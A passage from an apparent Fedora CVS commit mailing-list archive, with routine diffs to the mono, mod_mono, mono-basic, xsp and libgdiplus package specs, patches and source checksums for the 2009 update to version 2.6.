+++ mono-2.2/data/mint.pc-new.in	2008-11-18 21:12:55.000000000 +0000
@@ -1,5 +1,5 @@
 prefix=${pcfiledir}/../..
 exec_prefix=${pcfiledir}/../..
-libdir=${prefix}/lib
+libdir=@libdir@
 includedir=${prefix}/include/mono- at API_VER@
 
--- mono-2.2/data/mono-lineeditor.pc.in	2008-11-11 04:56:15.000000000 +0000
+++ mono-2.2/data/mono-lineeditor.pc-new.in	2008-11-18 21:14:18.000000000 +0000
@@ -1,5 +1,5 @@
 prefix=${pcfiledir}/../..
-assemblies_dir=${prefix}/lib/mono-source-libs
+assemblies_dir=@libdir@/mono-source-libs
 Sources=${assemblies_dir}/getline.cs
 
 Name: Mono.Terminal.LineEditor
--- mono-2.2/data/mono-nunit.pc.in	2008-11-11 04:56:15.000000000 +0000
+++ mono-2.2/data/mono-nunit.pc-new.in	2008-11-18 21:14:34.000000000 +0000
@@ -1,6 +1,6 @@
 prefix=${pcfiledir}/../..
 exec_prefix=${prefix}
-libdir=${exec_prefix}/lib
+libdir=@libdir@
 
 
 Name: Mono NUnit
--- mono-2.2/data/mono-options.pc.in	2008-11-11 04:56:15.000000000 +0000
+++ mono-2.2/data/mono-options.pc-new.in	2008-11-18 21:14:49.000000000 +0000
@@ -1,5 +1,5 @@
 prefix=${pcfiledir}/../..
-assemblies_dir=${prefix}/lib/mono-source-libs
+assemblies_dir=@libdir@/mono-source-libs
 Sources=${assemblies_dir}/Options.cs
 
 Name: Mono.Options
--- mono-2.2/data/monodoc.pc.in	2008-11-13 23:22:27.000000000 +0000
+++ mono-2.2/data/monodoc.pc-new.in	2008-11-26 12:39:50.000000000 +0000
@@ -1,9 +1,9 @@
 prefix=@prefix@
 exec_prefix=@exec_prefix@
-libdir=@prefix@/lib
+libdir=@libdir@
 sourcesdir=${libdir}/monodoc/sources
 
 Name: Monodoc
 Description: Monodoc - Mono Documentation Tools
 Version: @VERSION@
-Libs: /r:${prefix}/lib/mono/monodoc/monodoc.dll 
+Libs: /r:${libdir}/mono/monodoc/monodoc.dll 
--- mono-2.2/data/mono.pc.in	2008-09-10 17:12:13.000000000 +0100
+++ mono-2.2/data/mono.pc-new.in	2008-11-26 12:47:07.000000000 +0000
@@ -1,6 +1,6 @@
 prefix=${pcfiledir}/../..
 exec_prefix=${pcfiledir}/../..
-libdir=${prefix}/@reloc_libdir@
+libdir=@libdir@
 includedir=${prefix}/include/mono- at API_VER@
 sysconfdir=@sysconfdir@

--- mono-2.2/scripts/Makefile.am	2008-11-18 19:19:30.000000000 +0000
+++ mono-2.2/scripts/Makefile-new.am	2008-11-18 21:00:50.000000000 +0000
@@ -174,7 +174,7 @@
 endif
 else
 plat_bindir = $(bindir)
-mono_instdir = $(prefix)/lib/mono
+mono_instdir = $(libdir)/mono
 endif

 
--- mono-2.4/data/mono-cairo.pc.in	2009-02-13 23:34:32.000000000 +0000
+++ mono-2.4/data/mono-cairo.pc-new.in	2009-03-07 23:32:13.000000000 +0000
@@ -1,9 +1,9 @@
 prefix=${pcfiledir}/../..
 exec_prefix=${pcfiledir}/../..
-libdir=${prefix}/@reloc_libdir@
+libdir=@libdir@
 includedir=${prefix}/include
 
 Name: Mono.Cairo
 Description: Cairo bindings for Mono
 Version: @VERSION@
-Libs: -r:${prefix}/lib/mono/1.0/Mono.Cairo.dll
+Libs: -r:${libdir}/mono/1.0/Mono.Cairo.dll


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mono/devel/.cvsignore,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- .cvsignore	29 Jul 2009 22:22:57 -0000	1.44
+++ .cvsignore	4 Oct 2009 15:17:19 -0000	1.45
@@ -1 +1 @@
-mono-2.4.2.3.tar.bz2
+mono-2.6.tar.bz2


Index: mono.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mono/devel/mono.spec,v
retrieving revision 1.140
retrieving revision 1.141
diff -u -p -r1.140 -r1.141
--- mono.spec	25 Aug 2009 07:02:01 -0000	1.140
+++ mono.spec	4 Oct 2009 15:17:20 -0000	1.141
@@ -1,8 +1,8 @@
 #%define svnver 138447
 
 Name:           mono
-Version:        2.4.2.3
-Release:        2%{?dist}
+Version:        2.6
+Release:        1%{?dist}
 Summary:        A .NET runtime environment
 
 Group:          Development/Languages
@@ -18,7 +18,7 @@ BuildRequires:  bison 
 BuildRequires:  glib2-devel
 BuildRequires:  pkgconfig
 BuildRequires:  libicu-devel
-BuildRequires:  libgdiplus-devel >= 2.4.2
+BuildRequires:  libgdiplus-devel >= 2.6
 BuildRequires:  zlib-devel
 %ifarch ia64
 BuildRequires:  libunwind
@@ -43,10 +43,9 @@ Patch1: mono-libdir-126.patch
 Patch2: mono-1.2.3-use-monodir.patch
 Patch3: mono-2.2-uselibdir.patch
 Patch4: mono-2.0-monoservice.patch
-Patch5: mono-2.0-metadata-makefile.patch
+Patch5: mono-2.6-metadata-makefile.patch
 Patch6: mono-242-libgdiplusconfig.patch
-Patch7: mono-22-libdir.patch
-Patch8: mono-242-metadata-appconf.patch
+Patch7: mono-26-libdir.patch
 
 %description
 The Mono runtime implements a JIT engine for the ECMA CLI
@@ -263,18 +262,13 @@ Requires: mono-core = %{version}-%{relea
 %description -n monodoc-devel
 Development file for monodoc
 
-%package moonlight
-Summary:        All the parts required for moonlight compilation
-Group:          Development/Libraries
-Requires:       mono-core = %{version}-%{release}
-
-%description moonlight
-mono-moonlight are all the parts required for moonlight compilation
-
 %define monodir %{_libdir}/mono
 %define gac_dll(dll)  %{monodir}/gac/%{1} \
   %{monodir}/?.0/%{1}.dll \
   %{nil}
+%define gac_dll_2(dll) %{monodir}/gac/%{1} \
+  %{monodir}/?.5/%{1}.dll \
+  %{nil}
 %define moon_dll(dll) %{monodir}/gac/%{1} \
   %{monodir}/2.1/%{1}.dll \
   %{nil}
@@ -300,7 +294,6 @@ mono-moonlight are all the parts require
 %patch3 -p1 -b .uselibdir
 %patch4 -p1 -b .monoservice
 %patch5 -p1 -b .metadata-makefile
-%patch8 -p1 -b .metadata-appconf
 %patch6 -p1 -b .libgdiplus
 sed -i -e 's!@libdir@!%{_libdir}!' %{PATCH7}
 %patch7 -p1 -b .libdir-22
@@ -327,9 +320,9 @@ export CFLAGS="$RPM_OPT_FLAGS -fno-stric
 
 gcc -o monodir %{SOURCE1} -DMONODIR=\"%{_libdir}/mono\"
 
-%configure --with-ikvm=yes --with-jit=yes --with-xen_opt=yes \
-           --with-moonlight=yes --with-preview=yes \
-           --with-libgdiplus=installed
+%configure --with-ikvm-native=yes --with-jit=yes --with-xen_opt=yes \
+           --with-moonlight=yes --with-profile2=yes \
+           --with-libgdiplus=installed 
 make
 
 
@@ -360,8 +353,7 @@ install monodir %{buildroot}%{_bindir}
 %{__rm} %{buildroot}%{_mandir}/man1/oldmono.1
 %{__rm} %{buildroot}%{_mandir}/man1/mint.1
 %{__rm} %{buildroot}%{monodir}/1.0/browsercaps-updater.exe*
-%{__rm} %{buildroot}/%_bindir/smcs
-%{__rm} %{buildroot}/%_libdir/pkgconfig/smcs.pc
+%{__rm} -rf %{buildroot}%{monodir}/xbuild/Microsoft
 
 %find_lang mcs
 
@@ -394,6 +386,9 @@ install monodir %{buildroot}%{_bindir}
 %mono_bin mozroots
 %mono_bin setreg
 %mono_bin sn
+%mono_bin pdb2mdb
+%mono_bin sqlmetal
+%mono_bin svcutil
 %{monodir}/2.0/System.Xml.Linq.dll
 %{_libdir}/libmono.so.*
 %{_libdir}/libmono-profiler-logging.so.*
@@ -407,6 +402,7 @@ install monodir %{buildroot}%{_bindir}
 %{_mandir}/man1/sn.1.gz
 %{_mandir}/man5/mono-config.5.gz
 %{_mandir}/man1/csharp.1.gz
+%{_mandir}/man1/pdb2mdb.1.gz
 %{_libdir}/libMonoPosixHelper.so
 %dir %{monodir}
 %dir %{monodir}/1.0
@@ -440,6 +436,8 @@ install monodir %{buildroot}%{_bindir}
 %gac_dll System.Core
 %gac_dll System.Security
 %gac_dll System.Xml
+%gac_dll Mono.Tasklets
+%gac_dll WindowsBase
 %{monodir}/gac/System.Xml.Linq
 %{monodir}/?.0/mscorlib.dll
 %{monodir}/?.0/mscorlib.dll.mdb
@@ -518,16 +516,21 @@ install monodir %{buildroot}%{_bindir}
 %{_mandir}/man1/secutil.1.gz
 %{_mandir}/man1/sgen.1.gz
 %{_mandir}/man1/signcode.1.gz
+%{_mandir}/man1/xbuild.1.gz
 %gac_dll PEAPI
 %gac_dll Microsoft.Build.Engine
 %gac_dll Microsoft.Build.Framework
 %gac_dll Microsoft.Build.Tasks
 %gac_dll Microsoft.Build.Utilities
+%gac_dll_2 Microsoft.Build.Tasks.v3.5
+%gac_dll_2 Microsoft.Build.Utilities.v3.5
 %{monodir}/2.0/MSBuild
 %{monodir}/2.0/Microsoft.Build.xsd
 %{monodir}/2.0/Microsoft.*.targets
 %{monodir}/2.0/Microsoft.Common.tasks
 %{monodir}/2.0/xbuild.rsp
+%{monodir}/3.5/Microsoft.Build.Engine.dll
+%{monodir}/3.5/Microsoft.Build.Framework.dll
 %{_bindir}/monograph
 %{_libdir}/libmono-profiler-aot.*
 %{_libdir}/libmono-profiler-cov.*
@@ -550,21 +553,6 @@ install monodir %{buildroot}%{_bindir}
 %dir %{_datadir}/mono-1.0/mono/cil
 %{_libdir}/mono/1.0/culevel*
 
-%files moonlight
-%defattr(-,root,root,-)
-%{_libdir}/mono/2.1/*.mdb
-%{_libdir}/mono/2.1/smcs.exe
-%{_libdir}/mono/2.1/Mono.CompilerServices.SymbolWriter.dll
-%{_libdir}/mono/2.1/System.Core.dll
-%{_libdir}/mono/2.1/System.Runtime.Serialization.dll
-%{_libdir}/mono/2.1/System.ServiceModel.Web.dll
-%{_libdir}/mono/2.1/System.ServiceModel.dll
-%{_libdir}/mono/2.1/System.Xml.Linq.dll
-%{_libdir}/mono/2.1/System.Xml.dll
-%{_libdir}/mono/2.1/System.dll
-%{_libdir}/mono/2.1/mscorlib.dll
-%moon_dll System.Net
-
 %files nunit
 %defattr(-,root,root,-)
 %mono_bin_1 nunit-console nunit-console
@@ -661,6 +649,7 @@ install monodir %{buildroot}%{_bindir}
 %{_libdir}/pkgconfig/mono.web.pc
 %{_libdir}/pkgconfig/system.web.extensions_1.0.pc
 %{_libdir}/pkgconfig/system.web.extensions.design_1.0.pc
+%{_libdir}/pkgconfig/system.web.mvc.pc
 
 %files winforms
 %defattr(-,root,root,-)
@@ -722,11 +711,10 @@ install monodir %{buildroot}%{_bindir}
 %{_libdir}/monodoc/*
 %{_libdir}/mono/monodoc/monodoc.dll
 %mono_bin mdoc
-%mono_bin mod
 %{_bindir}/mdoc-*
 %{_bindir}/mdass*
 %{_bindir}/mdval*
-%{_bindir}/mod
+%mono_bin mod
 %{_bindir}/monodoc*
 %{_mandir}/man1/md*
 %{_mandir}/man1/monodoc*
@@ -737,6 +725,13 @@ install monodir %{buildroot}%{_bindir}
 %{_libdir}/pkgconfig/monodoc.pc
 
 %changelog
+* Wed Sep 30 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.6-1
+- Bump to 2.6
+- Fix metadata makefiles patch
+- Removed metadata-appconf patch (not required)
+- Removed moonlight subpackage
+- Fix configure options
+
 * Tue Aug 25 2009 Michel Salim <salimma at fedoraproject.org> - 2.4.2.3-2
 - Rearrange assemblies to properly fix bz 434709:
   * mono-core can now be installed on its own, no longer pulling in


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mono/devel/sources,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- sources	29 Jul 2009 22:22:57 -0000	1.57
+++ sources	4 Oct 2009 15:17:20 -0000	1.58
@@ -1 +1 @@
-696f25afc8453cd0d1c78de6e905dcf2  mono-2.4.2.3.tar.bz2
+fbc38081c34c86895d2fd6734e9457a4  mono-2.6.tar.bz2


--- mono-2.0-metadata-makefile.patch DELETED ---


--- mono-22-libdir.patch DELETED ---


--- mono-242-metadata-appconf.patch DELETED ---



From pfj at fedoraproject.org  Sun Oct  4 15:18:33 2009
From: pfj at fedoraproject.org (Paul F. Johnson)
Date: Sun,  4 Oct 2009 15:18:33 +0000 (UTC)
Subject: rpms/mod_mono/devel mod_mono-2.6-varrun.patch, NONE, 1.1 .cvsignore,
	1.12, 1.13 import.log, 1.14, 1.15 mod_mono.spec, 1.26,
	1.27 sources, 1.13, 1.14 mod_mono-2.0-varrun.patch, 1.2, NONE
Message-ID: <20091004151833.83C9811C00E5@cvs1.fedora.phx.redhat.com>

Author: pfj

Update of /cvs/pkgs/rpms/mod_mono/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8850/devel

Modified Files:
	.cvsignore import.log mod_mono.spec sources 
Added Files:
	mod_mono-2.6-varrun.patch 
Removed Files:
	mod_mono-2.0-varrun.patch 
Log Message:

Bump to 2.6 preview 1 


mod_mono-2.6-varrun.patch:
 mod_mono-new.h |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE mod_mono-2.6-varrun.patch ---
--- mod_mono-2.6/src/mod_mono.h	2009-09-25 17:01:20.000000000 +0100
+++ mod_mono-2.6/src/mod_mono-new.h	2009-10-03 14:43:03.000000000 +0100
@@ -90,13 +90,13 @@
 #endif
 
 #define MODMONO_SERVER_PATH	MONO_PREFIX "/bin/mod-mono-server"
-#define WAPIDIR			"/tmp"
+#define WAPIDIR			"/var/run/mod_mono"
 #define DOCUMENT_ROOT		NULL
 #define APPCONFIG_FILE		NULL
 #define APPCONFIG_DIR		NULL
-#define SOCKET_FILE		"/tmp/mod_mono_server"
+#define SOCKET_FILE		"/var/run/mod_mono_server"
 #define LISTEN_ADDRESS		"127.0.0.1"
-#define DASHBOARD_FILE		"/tmp/mod_mono_dashboard"
+#define DASHBOARD_FILE		"/var/run/mod_mono/mod_mono_dashboard"
 #define GLOBAL_SERVER_NAME	"XXGLOBAL"
 #define MAX_ACTIVE_REQUESTS	20
 #define MAX_WAITING_REQUESTS	20


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mod_mono/devel/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	14 Jun 2009 11:19:52 -0000	1.12
+++ .cvsignore	4 Oct 2009 15:18:32 -0000	1.13
@@ -1 +1 @@
-mod_mono-2.4.2.tar.bz2
+mod_mono-2.6.tar.bz2


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/mod_mono/devel/import.log,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- import.log	14 Jun 2009 11:19:53 -0000	1.14
+++ import.log	4 Oct 2009 15:18:32 -0000	1.15
@@ -12,3 +12,4 @@ mod_mono-2_4-4_RC3_fc11:HEAD:mod_mono-2.
 mod_mono-2_4-4_fc11:HEAD:mod_mono-2.4-4.fc11.src.rpm:1238109005
 mod_mono-2_4-4_1_fc11:HEAD:mod_mono-2.4-4.1.fc11.src.rpm:1239049771
 mod_mono-2_4_2-1_fc11:HEAD:mod_mono-2.4.2-1.fc11.src.rpm:1244978339
+mod_mono-2_6-1_fc12:HEAD:mod_mono-2.6-1.fc12.src.rpm:1254669482


Index: mod_mono.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mod_mono/devel/mod_mono.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- mod_mono.spec	25 Jul 2009 14:46:43 -0000	1.26
+++ mod_mono.spec	4 Oct 2009 15:18:32 -0000	1.27
@@ -1,12 +1,12 @@
 Name: mod_mono
-Version: 2.4.2
-Release: 2%{?dist}
+Version: 2.6
+Release: 1%{?dist}
 License: MIT
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 URL: http://mono.ximian.com/monobuild/preview/sources-preview/
 Source0: %{name}-%{version}.tar.bz2
-BuildRequires: mono-devel >= 2.4.2, xsp-devel >= 2.4.2, pkgconfig, httpd-devel apr-devel
-Patch0: mod_mono-2.0-varrun.patch
+BuildRequires: mono-devel >= 2.6, xsp-devel >= 2.6, pkgconfig, httpd-devel apr-devel
+Patch0: mod_mono-2.6-varrun.patch
 Requires: httpd >= 2.2, mono-core, xsp
 Summary: A module to deploy an ASP.NET application on Apache with Mono
 Group: System Environment/Daemons
@@ -53,8 +53,8 @@ rm -rf %{buildroot}
 %{_mandir}/man8/mod_mono.8*
 
 %changelog
-* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.4.2-2
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+* Sat Oct 03 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.6-1
+- Bump to 2.6 preview 1
 
 * Tue Jun 09 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.4.2-1
 - Bump to 2.4.2 preview


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mod_mono/devel/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	14 Jun 2009 11:19:53 -0000	1.13
+++ sources	4 Oct 2009 15:18:32 -0000	1.14
@@ -1 +1 @@
-9417d44cf2ebe4d999d681640db698b2  mod_mono-2.4.2.tar.bz2
+6bd69b4f39e256ff9a97244dc4bd9a23  mod_mono-2.6.tar.bz2


--- mod_mono-2.0-varrun.patch DELETED ---



From pfj at fedoraproject.org  Sun Oct  4 15:21:55 2009
From: pfj at fedoraproject.org (Paul F. Johnson)
Date: Sun,  4 Oct 2009 15:21:55 +0000 (UTC)
Subject: rpms/mono-basic/devel .cvsignore, 1.10, 1.11 import.log, 1.17,
	1.18 mono-basic.spec, 1.27, 1.28 sources, 1.12, 1.13
Message-ID: <20091004152155.3B8F111C00E5@cvs1.fedora.phx.redhat.com>

Author: pfj

Update of /cvs/pkgs/rpms/mono-basic/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10145/devel

Modified Files:
	.cvsignore import.log mono-basic.spec sources 
Log Message:

Bump to 2.6 preview 1 



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mono-basic/devel/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	14 Jun 2009 11:35:54 -0000	1.10
+++ .cvsignore	4 Oct 2009 15:21:54 -0000	1.11
@@ -1 +1 @@
-mono-basic-2.4.2.tar.bz2
+mono-basic-2.6.tar.bz2


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/mono-basic/devel/import.log,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- import.log	23 Jun 2009 20:14:07 -0000	1.17
+++ import.log	4 Oct 2009 15:21:54 -0000	1.18
@@ -15,3 +15,4 @@ mono-basic-2_4-4_fc11:HEAD:mono-basic-2.
 mono-basic-2_4-4_1_fc11:HEAD:mono-basic-2.4-4.1.fc11.src.rpm:1239049489
 mono-basic-2_4_2-1_fc11:HEAD:mono-basic-2.4.2-1.fc11.src.rpm:1244979315
 mono-basic-2_4_2-2_fc12:HEAD:mono-basic-2.4.2-2.fc12.src.rpm:1245788002
+mono-basic-2_6-1_fc12:HEAD:mono-basic-2.6-1.fc12.src.rpm:1254669648


Index: mono-basic.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mono-basic/devel/mono-basic.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- mono-basic.spec	25 Jul 2009 14:59:48 -0000	1.27
+++ mono-basic.spec	4 Oct 2009 15:21:54 -0000	1.28
@@ -1,8 +1,8 @@
 %define debug_package %{nil}
 
 Name:		mono-basic
-Version:	2.4.2
-Release:	3%{?dist}
+Version:	2.6
+Release:	1%{?dist}
 Summary:        VisualBasic.NET support for mono
 Group:          Development/Languages
 License:        LGPLv2+
@@ -17,7 +17,7 @@ BuildRequires:	mono-basic pkgconfig
 %else
 BuildRequires:	pkgconfig
 %endif
-BuildRequires:  mono-devel >= 2.4.2
+BuildRequires:  mono-devel >= 2.6
 
 ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha
 
@@ -79,8 +79,8 @@ EOF
 %{_libdir}/pkgconfig/mono-basic.pc
 
 %changelog
-* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.4.2-3
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+* Wed Sep 30 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.6-1
+- Bump to 2.6 preview 1
 
 * Mon Jun 22 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.4.2-2
 - Bump to 2.4.2 RC1


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mono-basic/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	14 Jun 2009 11:35:54 -0000	1.12
+++ sources	4 Oct 2009 15:21:54 -0000	1.13
@@ -1 +1 @@
-fd1cf869300ac176d2603c6b653ee90c  mono-basic-2.4.2.tar.bz2
+464e8f68d5a213e76dd8965c9fce8f15  mono-basic-2.6.tar.bz2



From pfj at fedoraproject.org  Sun Oct  4 15:24:39 2009
From: pfj at fedoraproject.org (Paul F. Johnson)
Date: Sun,  4 Oct 2009 15:24:39 +0000 (UTC)
Subject: rpms/xsp/devel .cvsignore, 1.19, 1.20 import.log, 1.15, 1.16 sources,
	1.23, 1.24 xsp.spec, 1.40, 1.41
Message-ID: <20091004152439.5EB3311C00E5@cvs1.fedora.phx.redhat.com>

Author: pfj

Update of /cvs/pkgs/rpms/xsp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10702/devel

Modified Files:
	.cvsignore import.log sources xsp.spec 
Log Message:

Update to 2.6 preview 1 



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xsp/devel/.cvsignore,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- .cvsignore	14 Jun 2009 11:37:48 -0000	1.19
+++ .cvsignore	4 Oct 2009 15:24:37 -0000	1.20
@@ -1 +1 @@
-xsp-2.4.2.tar.bz2
+xsp-2.6.tar.bz2


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/xsp/devel/import.log,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- import.log	14 Jun 2009 11:37:49 -0000	1.15
+++ import.log	4 Oct 2009 15:24:37 -0000	1.16
@@ -13,3 +13,4 @@ xsp-2_4-6_RC3_fc11:HEAD:xsp-2.4-6.RC3.fc
 xsp-2_4-7_fc11:HEAD:xsp-2.4-7.fc11.src.rpm:1238109613
 xsp-2_4-7_1_fc11:HEAD:xsp-2.4-7.1.fc11.src.rpm:1239049215
 xsp-2_4_2-1_fc11:HEAD:xsp-2.4.2-1.fc11.src.rpm:1244979423
+xsp-2_6-1_fc12:HEAD:xsp-2.6-1.fc12.src.rpm:1254669749


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xsp/devel/sources,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sources	14 Jun 2009 11:37:49 -0000	1.23
+++ sources	4 Oct 2009 15:24:38 -0000	1.24
@@ -1 +1 @@
-243ee8eae5a736486b3dd343a6a02753  xsp-2.4.2.tar.bz2
+e08e868deae851f36d301c9d26bc9e52  xsp-2.6.tar.bz2


Index: xsp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xsp/devel/xsp.spec,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- xsp.spec	27 Jul 2009 08:45:43 -0000	1.40
+++ xsp.spec	4 Oct 2009 15:24:38 -0000	1.41
@@ -1,13 +1,13 @@
 Name:     	xsp
-Version: 	2.4.2
-Release:	2%{?dist}
+Version: 	2.6
+Release:	1%{?dist}
 License:	MIT
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 URL:		http://mono.ximian.com/monobuild/preview/sources-preview/
 Source0:	%{name}-%{version}.tar.bz2
-BuildRequires:	mono-web-devel, mono-data, mono-devel >= 2.4.2, pkgconfig, autoconf automake mono-data-sqlite mono-nunit-devel
+BuildRequires:	mono-web-devel, mono-data, mono-devel >= 2.6, pkgconfig, autoconf automake mono-data-sqlite mono-nunit-devel
 BuildRequires:	mono-jscript, mono-data-oracle
-Requires:	mono-core >= 2.4.2
+Requires:	mono-core >= 2.6
 Summary:	A small web server that hosts ASP.NET
 Group:		System Environment/Daemons
 ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha
@@ -96,8 +96,8 @@ rm -rf %{buildroot}
 %{_libdir}/xsp/test
 
 %changelog
-* Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.4.2-2
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+* Sat Oct 03 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.6-1
+- Bump to 2.6 preview 1
 
 * Tue Jun 09 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.4.2-1
 - Update to 2.4.2 preview



From pfj at fedoraproject.org  Sun Oct  4 15:28:24 2009
From: pfj at fedoraproject.org (Paul F. Johnson)
Date: Sun,  4 Oct 2009 15:28:24 +0000 (UTC)
Subject: rpms/libgdiplus/devel .cvsignore, 1.24, 1.25 import.log, 1.14,
	1.15 libgdiplus.spec, 1.46, 1.47 sources, 1.27, 1.28
Message-ID: <20091004152824.161E511C00E5@cvs1.fedora.phx.redhat.com>

Author: pfj

Update of /cvs/pkgs/rpms/libgdiplus/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11749/devel

Modified Files:
	.cvsignore import.log libgdiplus.spec sources 
Log Message:

Bump to 2.6 preview 1 



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libgdiplus/devel/.cvsignore,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- .cvsignore	14 Jun 2009 11:17:44 -0000	1.24
+++ .cvsignore	4 Oct 2009 15:28:23 -0000	1.25
@@ -1 +1 @@
-libgdiplus-2.4.2.tar.bz2
+libgdiplus-137314.tar.bz2


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/libgdiplus/devel/import.log,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- import.log	14 Jun 2009 11:17:44 -0000	1.14
+++ import.log	4 Oct 2009 15:28:23 -0000	1.15
@@ -12,3 +12,4 @@ libgdiplus-2_4-3_RC2_fc11:HEAD:libgdiplu
 libgdiplus-2_4-4_RC3_fc11:HEAD:libgdiplus-2.4-4.RC3.fc11.src.rpm:1237421393
 libgdiplus-2_4-5_fc11:HEAD:libgdiplus-2.4-5.fc11.src.rpm:1238108917
 libgdiplus-2_4_2-1_fc11:HEAD:libgdiplus-2.4.2-1.fc11.src.rpm:1244978228
+libgdiplus-2_6-1_fc12:HEAD:libgdiplus-2.6-1.fc12.src.rpm:1254669963


Index: libgdiplus.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libgdiplus/devel/libgdiplus.spec,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- libgdiplus.spec	3 Sep 2009 18:54:28 -0000	1.46
+++ libgdiplus.spec	4 Oct 2009 15:28:23 -0000	1.47
@@ -1,12 +1,14 @@
+#%define svnver	137314
+#%define date	072209
 Name:           libgdiplus
-Version:        2.4.2
-Release:        3%{?dist}
-Summary:        An implementation of the GDI+ API
+Version:        2.6
+Release:        1%{?dist}
+Summary:        libgdiplus: An Open Source implementation of the GDI+ API
 
 Group:          System Environment/Libraries
 License:        MIT
-URL:            http://mono-project.com/Libgdiplus
-Source0:        ftp://ftp.novell.com/pub/mono/sources/libgdiplus/libgdiplus-%{version}.tar.bz2
+URL:            http://mono.ximian.com/monobuild/snapshot/sources-preview/
+Source0:        %{name}-%{svnver}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  freetype-devel glib2-devel libjpeg-devel libtiff-devel
@@ -15,7 +17,8 @@ BuildRequires:  cairo-devel
 BuildRequires:  zlib-devel
 
 %description
-An implementation of the GDI+ API, built on top of Cairo.
+An Open Source implementation of the GDI+ API, it is part of the Mono 
+Project
 
 %package devel
 Summary: Development files for libgdiplus
@@ -23,20 +26,16 @@ Group: Development/Libraries
 Requires: %{name} = %{version}-%{release} pkgconfig
 
 %description devel
-This package contains development files for %{name}.
+Development files for libgdiplus
 
 %prep
-%setup -q
+%setup -q -n %name-%svnver
 perl -pi -e "s,-Werror,,g" src/Makefile
 
 %build
 %configure --disable-static 
 make %{?_smp_mflags} 
 
-%check
-make check
-
-
 %install
 rm -rf %{buildroot}
 make install DESTDIR=%{buildroot}
@@ -51,7 +50,7 @@ rm -rf %{buildroot}
 %postun -p /sbin/ldconfig
 
 %files
-%doc COPYING NEWS README TODO AUTHORS
+%doc COPYING NEWS README TODO MPL-1.1.html AUTHORS
 %defattr(-,root,root,-)
 %{_libdir}/lib*.so.*
 
@@ -62,13 +61,11 @@ rm -rf %{buildroot}
 %{_libdir}/lib*.so
 
 %changelog
-* Thu Sep  3 2009 Michel Salim <salimma at fedoraproject.org> - 2.4.2-3
-- Enable unit tests
-- Corrected project and source URLs
-- Remove obsolete license files
+* Wed Sep 30 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.6-1
+- Update to 2.6 preview 1
 
-* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.4.2-2
